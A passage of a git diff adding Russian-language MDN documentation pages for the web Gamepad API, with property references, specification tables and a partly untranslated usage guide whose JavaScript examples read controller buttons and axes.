+ <dd>Целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного в данный момент к системе.</dd>
+ <dt>{{domxref("Gamepad.mapping")}} {{readonlyInline}}</dt>
+ <dd>Строка, указывающая, переназначил ли браузер элементы управления устройства на уже известный шаблон.</dd>
+ <dt>{{domxref("Gamepad.connected")}} {{readonlyInline}}</dt>
+ <dd>Логическое свойство показывающее, подключен ли геймпад к системе в данный момент.</dd>
+ <dt>{{domxref("Gamepad.buttons")}} {{readonlyInline}}</dt>
+ <dd>Массив объектов {{domxref("gamepadButton")}} представляющих кнопки устройства.</dd>
+ <dt>{{domxref("Gamepad.axes")}} {{readonlyInline}}</dt>
+ <dd>Массив, представляющий элементы управления осями устройства (например, аналоговые стики).</dd>
+ <dt>{{domxref("Gamepad.timestamp")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMHighResTimeStamp")}} представляет время последнего обновления данных геймпада.</dd>
+</dl>
+
+<h3 id="Экспериментальные_расширения_для_Gamepad">Экспериментальные расширения для Gamepad</h3>
+
+<p>Следующие интерфейсы определены в спецификации {{SpecName("GamepadExtensions")}}, и предоставляют доступ к экспериментальным возможностям, таким как тактильная обратная связь (haptic feedback) и информация о положении WebVR контроллера.</p>
+
+<dl>
+ <dt>{{domxref("Gamepad.hand")}} {{readonlyInline}}</dt>
+ <dd>Перечисляемое значение, которое определяет в какой руке находится контроллер.</dd>
+ <dt>{{domxref("Gamepad.hapticActuators")}} {{readonlyInline}}</dt>
+ <dd>Массив, содержащий объекты {{domxref("GamepadHapticActuator")}}, каждый из которых представляет собой аппаратные средства тактильной обратной связи (haptic feedbac) доступные для контроллера.</dd>
+ <dt>{{domxref("Gamepad.pose")}} {{readonlyInline}}</dt>
+ <dd>Объект {{domxref("GamepadPose")}} представляет информацию о положении WebVR контроллера (например, позиция и ориентация в 3D пространстве).</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#gamepad-getvrdisplays-attribute', 'displayId')}}</td>
+   <td>{{Spec2("WebVR 1.1")}}</td>
+   <td>Определено свойство {{domxref("Gamepad.displayId")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions", "#partial-gamepad-interface", "Gamepad extensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Определены {{anch("Экспериментальные расширения для Gamepad")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></li>
+ <li><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/gamepad/index/index.html b/files/ru/web/api/gamepad/index/index.html
new file mode 100644
index 0000000000..2e51e57342
--- /dev/null
+++ b/files/ru/web/api/gamepad/index/index.html
@@ -0,0 +1,50 @@
+---
+title: Gamepad.index
+slug: Web/API/Gamepad/index
+translation_of: Web/API/Gamepad/index
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Свойство <code><strong>Gamepad.index</strong></code> интерфейса {{domxref("Gamepad") }} возвращает целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного к системе.</p>
+
+<p>Это может быть полезно для распознавания нескольких контроллеров; отключенный, и подключенный заново геймпад, будет иметь тот же индекс.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">long</span>                <span class="idlAttrName">index</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function() {
+  var gp = navigator.getGamepads()[0];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ".";
+});</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{jsxref("Number") }}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-Gamepad-index", "Gamepad.index")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Gamepad.index")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/mapping/index.html b/files/ru/web/api/gamepad/mapping/index.html
new file mode 100644
index 0000000000..5fad34e1b5
--- /dev/null
+++ b/files/ru/web/api/gamepad/mapping/index.html
@@ -0,0 +1,48 @@
+---
+title: Gamepad.mapping
+slug: Web/API/Gamepad/mapping
+translation_of: Web/API/Gamepad/mapping
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>Gamepad.mapping</strong></code> интерфейса {{domxref("Gamepad")}} возвращает строковый индикатор, указывающий, изменил ли браузер элементы управления на уже известный шабон</p>
+
+<p>На данный момент существует один поддерживаемый шаблон - <a href="https://dvcs.w3.org/hg/gamepad/raw-file/default/gamepad.html#remapping">standard gamepad</a>. Если браузер позволяет поменять элементы управления в данном шаблоне, свойство  <code>mapping</code> будет установлено строко <code>"standard"</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">DOMString</span>           <span class="idlAttrName">mapping</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0];
+console.log(gp.mapping);</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>A {{domxref("string")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepad-mapping", "Gamepad.mapping")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.Gamepad.mapping")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/timestamp/index.html b/files/ru/web/api/gamepad/timestamp/index.html
new file mode 100644
index 0000000000..e2352b126d
--- /dev/null
+++ b/files/ru/web/api/gamepad/timestamp/index.html
@@ -0,0 +1,52 @@
+---
+title: Gamepad.timestamp
+slug: Web/API/Gamepad/timestamp
+translation_of: Web/API/Gamepad/timestamp
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Свойство <strong><code>Gamepad.timestamp</code></strong> интерфейса {{domxref("Gamepad")}} возвращает {{domxref("DOMHighResTimeStamp")}}, представляющий собой время последнего обновления геймпада.</p>
+
+<p>Идея состоит в том, чтобы позволить разработчику определить, были ли изменены данные для <code>axes</code> и <code>button</code> на аппаратном обеспечении. Значение должно быть установлено относительно атрибута <code>navigationStart</code> интерфейса <code>{{domxref("PerformanceTiming")}}</code>. Значения монотонно увеличиваются, поэтому их можно сравнивать, чтобы определить порядок изменений, т.к. новые значения всегда будут больше или равны старым.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: В данный момент, это свойство нигде не поддерживается.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">DOMHighResTimeStamp</span> <span class="idlAttrName">timestamp</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var gp = navigator.getGamepads()[0];
+console.log(gp.timestamp);</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>{{domxref("DOMHighResTimeStamp")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-Gamepad-timestamp", "Gamepad.timestamp")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Gamepad.timestamp")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad_api/index.html b/files/ru/web/api/gamepad_api/index.html
new file mode 100644
index 0000000000..53ecea9f2b
--- /dev/null
+++ b/files/ru/web/api/gamepad_api/index.html
@@ -0,0 +1,99 @@
+---
+title: Gamepad API
+slug: Web/API/Gamepad_API
+tags:
+  - API
+  - Gamepad API
+  - Игры
+  - Обзор
+  - Экспериментальный
+translation_of: Web/API/Gamepad_API
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}</div>
+
+<p>API Gamepad - это простой и последовательный способ для разработчиков получать доступ к сигналам с геймпадов и других игровых контроллеров и реагировать на них. Он содержит три интерфейса, два события и одну специализированную функцию, чтобы реагировать на подключение и отключение геймпадов, а также получать доступ к другой информации о самих геймпадах и о том, какие кнопки и другие элементы управления в настоящее время нажимаются.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad" title="The Gamepad interface of the Gamepad API defines an individual gamepad or other controller, allowing access to information such as button presses, axis positions, and id."><code>Gamepad</code></a></dt>
+ <dd>Представляет собой геймпад/контроллер, подключенный к компьютеру.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadButton" title="The GamepadButton interface defines an individual button of a gamepad or other controller, allowing access to the current state of different types of buttons available on the control device."><code>GamepadButton</code></a></dt>
+ <dd>Представлят собой кнопку одного из подлюченных контроллеров</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadEvent" title="The GamepadEvent interface of the Gamepad API contains references to gamepads connected to the system, which is what the gamepad events Window.gamepadconnected and Window.gamepaddisconnected are fired in response to."><code>GamepadEvent</code></a></dt>
+ <dd>Объект события, представляющий запущенные события, связанные с геймпадами.</dd>
+</dl>
+
+<h3 id="Экспериментальные_расширения_геймпада">Экспериментальные расширения геймпада</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadHapticActuator" title="The GamepadHapticActuator interface of the Gamepad API represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware."><code>GamepadHapticActuator</code></a></dt>
+ <dd>Представляет собой аппаратное обеспечение в контроллере, предназначенное для обеспечения тактильной обратной связи с пользователем (если таковая имеется), чаще всего вибрационное оборудование.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadPose" title="The GamepadPose interface of the Gamepad API represents the pose of a WebVR controller at a given timestamp (which includes orientation, position, velocity, and acceleration information.)"><code>GamepadPose</code></a></dt>
+ <dd>Представляет собой позу контроллера (например, положение и ориентацию в трехмерном пространстве) в случае контроллера WebVR. Это не используется в более новом стандарте WebXR.</dd>
+</dl>
+
+<p>Сморите также <a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">extensions to the Gamepad interface</a> (расширения интерфейса геймпада) для функций, которые позволяют получить доступ к вышеуказанной информации.</p>
+
+<h3 id="Расширения_для_других_интерфейсов">Расширения для других интерфейсов</h3>
+
+<h4 id="Навигатор">Навигатор</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.getGamepads()")}}</dt>
+ <dd>Расширение объекта {{domxref("Navigator")}}, возвращающее масссив объектов {{domxref("Gamepad")}} по одному для каждого подключенного геймпада.</dd>
+</dl>
+
+<h4 id="События_окна">События окна</h4>
+
+<dl>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Представляет собой обработчик событий, который будет выполняться при подключении геймпада (когда срабатывает событие {{event('gamepadconnected')}}).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Представляет собой обработчик событий, который будет выполняться при отключении геймпада (когда срабатывает событие {{event('gamepaddisconnected')}}).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Учебные_пособия_и_руководства">Учебные пособия и руководства</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API">Using the Gamepad API</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/Controls_Gamepad_API">Implementing controls using the Gamepad API</a></li>
+</ul>
+
+<h2 id="Технические_характеристики">Технические характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Примечание</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Определяет {{anch("Experimental Gamepad extensions")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "", "The Gamepad API specification")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первононачальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="Прочтите_также">Прочтите также</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a>, авторы: Тед Мельчарек и Роберт Найман</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html
new file mode 100644
index 0000000000..6dea1ea38c
--- /dev/null
+++ b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html
@@ -0,0 +1,341 @@
+---
+title: Using the Gamepad API
+slug: Web/API/Gamepad_API/Using_the_Gamepad_API
+translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API
+---
+<p>{{DefaultAPISidebar("Gamepad API")}}</p>
+
+<p><span class="seoSummary">HTML5 представляет большое количесво необходимых компонентов для полной и интерактивной разработки игр. Такие технологии, как <code>&lt;canvas&gt;</code>, WebGL, <code>&lt;audio&gt;</code>, и <code>&lt;video&gt;</code>, вместе с Javascript сейчас поддерживают большое количество задач, для которых раньше требовались нативные программы.  Gamepad API - это способ полученния данных с геймпада и других игровых контроллеров. </span></p>
+
+<p><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> добавляет в  объект {{ domxref("Window") }}  новые события для получения событий контроллера. Дополнительно к этим событиям, API также добавляет объект {{ domxref("Gamepad") }}, который позволяет получить  состояние подключенного контроллера, и метод {{ domxref("navigator.getGamepads()") }} который позволяет получить все контроллеры, определенные на странице браузера.</p>
+
+<h2 id="conntecting" name="conntecting">Подключение геймпада</h2>
+
+<p>Когда новый  геймпад подключается, на странице страбатывают события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}. Если геймпад уже был подключен к моменту загрузки страницы, события  {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} сработают, когда пользователь нажмет на любую кнопку или передвинет стики. </p>
+
+<div class="blockIndicator geckoVersionNote">
+<p>В Firefox геймпад определяется только тогда, когда пользователь взаимодействует с ним, и при этом страница видна и в фокусе. Это помогает предотвратить использование геймпадов для идентификации пользователя. После взаимодействия с одним геймпадом другие подключенные геймпады будут автоматически видны.</p>
+</div>
+
+<p>Вы можете использовать  {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} как в примере:</p>
+
+<pre class="brush: js; notranslate">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    e.gamepad.index, e.gamepad.id,
+    e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+</pre>
+
+<p>Каждый геймпад имеет уникальный ID, который доступен в свойстве {{domxref("GamepadEvent.gamepad", "gamepad")}}.</p>
+
+<h2 id="disconnecting" name="disconnecting">Отключение геймпада</h2>
+
+<p>When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:</p>
+
+<pre class="brush: js notranslate">window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+    e.gamepad.index, e.gamepad.id);
+});</pre>
+
+<p>The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The <code>index</code> property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.</p>
+
+<pre class="brush: js notranslate">var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // Note:
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+</pre>
+
+<p>This previous example also demonstrates how the <code>gamepad</code> property can be held after the event has completed — a technique we will use for device state querying later.</p>
+
+<h2 id="querying" name="querying">Querying the Gamepad object</h2>
+
+<p>As you can see, the <strong>gamepad</strong> events discussed above include a <code>gamepad</code> property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.</p>
+
+<p>Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("Window.requestAnimationFrame","requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.</p>
+
+<p>The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always <code>null</code>, so <code>null</code> will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:</p>
+
+<pre class="brush: js notranslate">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+    gp.index, gp.id,
+    gp.buttons.length, gp.axes.length);
+});</pre>
+
+<p>The {{ domxref("Gamepad") }} object's properties are as follows:</p>
+
+<ul>
+ <li><code>id</code>: A string containing some information about the controller. This is not strictly specified, but in Firefox it will contain three pieces of information separated by dashes (<code>-</code>): two 4-digit hexadecimal strings containing the USB vendor and product id of the controller, and the name of the controller as provided by the driver. This information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user.</li>
+ <li><code>index</code>: An integer that is unique for each gamepad currently connected to the system. This can be used to distinguish multiple controllers. Note that disconnecting a device and then connecting a new device may reuse the previous index.</li>
+ <li><code>mapping</code>: A string indicating whether the browser has remapped the controls on the device to a known layout. Currently there is only one supported known layout — the <a href="https://dvcs.w3.org/hg/gamepad/raw-file/default/gamepad.html#remapping">standard gamepad</a>. If the browser is able to map controls on the device to that layout the <code>mapping</code> property will be set to the string <code>standard</code>.</li>
+ <li><code>connected</code>: A boolean indicating whether the gamepad is still connected to the system. If this is so the value is <code>True</code>; if not, it is <code>False</code>.</li>
+ <li><code>buttons</code>: An array of {{ domxref("GamepadButton") }} objects representing the buttons present on the device. Each {{ domxref("GamepadButton") }} has a <code>pressed</code> and a <code>value</code> property:
+  <ul>
+   <li>The <code>pressed</code> property is a boolean indicating whether the button is currently pressed (<code>true</code>) or unpressed (<code>false</code>).</li>
+   <li>The <code>value</code> property is a floating point value used to enable representing analog buttons, such as the triggers on many modern gamepads. The values are normalized to the range 0.0..1.0, with 0.0 representing a button that is not pressed, and 1.0 representing a button that is fully pressed.</li>
+  </ul>
+ </li>
+ <li><code>axes</code>: An array representing the controls with axes present on the device (e.g. analog thumb sticks). Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0).</li>
+ <li><code>timestamp</code>: This returns a {{ domxref("DOMHighResTimeStamp") }} representing the last time the data for this gamepad was updated, allowing developers to determine if the <code>axes</code> and <code>button</code> data have been updated from the hardware. The value must be relative to the <code>navigationStart</code> attribute of the {{ domxref("PerformanceTiming") }} interface. Values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. Note that this property is not currently supported in Firefox.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The Gamepad object is available on the {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.</p>
+</div>
+
+<h3 id="Using_button_information">Using button information</h3>
+
+<p>Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can <a href="http://chrisdavidmills.github.io/gamepad-buttons/">view the demo live</a>, and <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">find the source code</a> on Github.</p>
+
+<p>To start with, we declare some variables: The <code>gamepadInfo</code> paragraph that the connection info is written into, the <code>ball</code> that we want to move, the <code>start</code> variable that acts as the ID for <code>requestAnimation Frame</code>, the <code>a</code> and <code>b</code> variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.</p>
+
+<pre class="brush: js notranslate">var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+</pre>
+
+<p>Next we use the {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}<code>[0]</code>, print information about the gamepad into our gamepad info <code>div</code>, and fire the <code>gameLoop()</code> function that starts the whole ball movement process up.</p>
+
+<pre class="brush: js notranslate">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+  gameLoop();
+});</pre>
+
+<p>Now we use the {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.</p>
+
+<pre class="brush: js notranslate">window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+  cancelRequestAnimationFrame(start);
+});</pre>
+
+<p>Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a <code>webkit</code> prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.</p>
+
+<pre class="brush: js notranslate">var interval;
+
+if (!('ongamepadconnected' in window)) {
+  // No gamepad events available, poll instead.
+  interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i &lt; gamepads.length; i++) {
+    var gp = gamepads[i];
+    if (gp) {
+      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id +
+        ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}</pre>
+
+<p>Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the <code>a</code> and <code>b</code> movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of <code>a</code> and <code>b</code> respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.</p>
+
+<p>After all this is done, we use our <code>requestAnimationFrame()</code> to request the next animation frame, running <code>gameLoop()</code> again.</p>
+
+<pre class="brush: js notranslate">function buttonPressed(b) {
+  if (typeof(b) == "object") {
+    return b.pressed;
+  }
+  return b == 1.0;
+}
+
+function gameLoop() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads) {
+    return;
+  }
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if (buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if (buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a * 2 + "px";
+  ball.style.top = b * 2 + "px";
+
+  start = requestAnimationFrame(gameLoop);
+}</pre>
+
+<h2 id="Complete_example_Displaying_gamepad_state">Complete example: Displaying gamepad state</h2>
+
+<p>This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} and {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} events in order to display the state of all gamepads connected to the system. You can find a <a href="http://luser.github.io/gamepadtest/">working demo</a> and look at the <a href="https://github.com/luser/gamepadtest">full source code</a> on Github.</p>
+
+<pre class="brush: js notranslate">var haveEvents = 'ongamepadconnected' in window;
+var controllers = {};
+
+function connecthandler(e) {
+  addgamepad(e.gamepad);
+}
+
+function addgamepad(gamepad) {
+  controllers[gamepad.index] = gamepad;
+
+  var d = document.createElement("div");
+  d.setAttribute("id", "controller" + gamepad.index);
+
+  var t = document.createElement("h1");
+  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+  d.appendChild(t);
+
+  var b = document.createElement("div");
+  b.className = "buttons";
+  for (var i = 0; i &lt; gamepad.buttons.length; i++) {
+    var e = document.createElement("span");
+    e.className = "button";
+    //e.id = "b" + i;
+    e.innerHTML = i;
+    b.appendChild(e);
+  }
+
+  d.appendChild(b);
+
+  var a = document.createElement("div");
+  a.className = "axes";
+
+  for (var i = 0; i &lt; gamepad.axes.length; i++) {
+    var p = document.createElement("progress");
+    p.className = "axis";
+    //p.id = "a" + i;
+    p.setAttribute("max", "2");
+    p.setAttribute("value", "1");
+    p.innerHTML = i;
+    a.appendChild(p);
+  }
+
+  d.appendChild(a);
+
+  // See https://github.com/luser/gamepadtest/blob/master/index.html
+  var start = document.getElementById("start");
+  if (start) {
+    start.style.display = "none";
+  }
+
+  document.body.appendChild(d);
+  requestAnimationFrame(updateStatus);
+}
+
+function disconnecthandler(e) {
+  removegamepad(e.gamepad);
+}
+
+function removegamepad(gamepad) {
+  var d = document.getElementById("controller" + gamepad.index);
+  document.body.removeChild(d);
+  delete controllers[gamepad.index];
+}
+
+function updateStatus() {
+  if (!haveEvents) {
+    scangamepads();
+  }
+
+  var i = 0;
+  var j;
+
+  for (j in controllers) {
+    var controller = controllers[j];
+    var d = document.getElementById("controller" + j);
+    var buttons = d.getElementsByClassName("button");
+
+    for (i = 0; i &lt; controller.buttons.length; i++) {
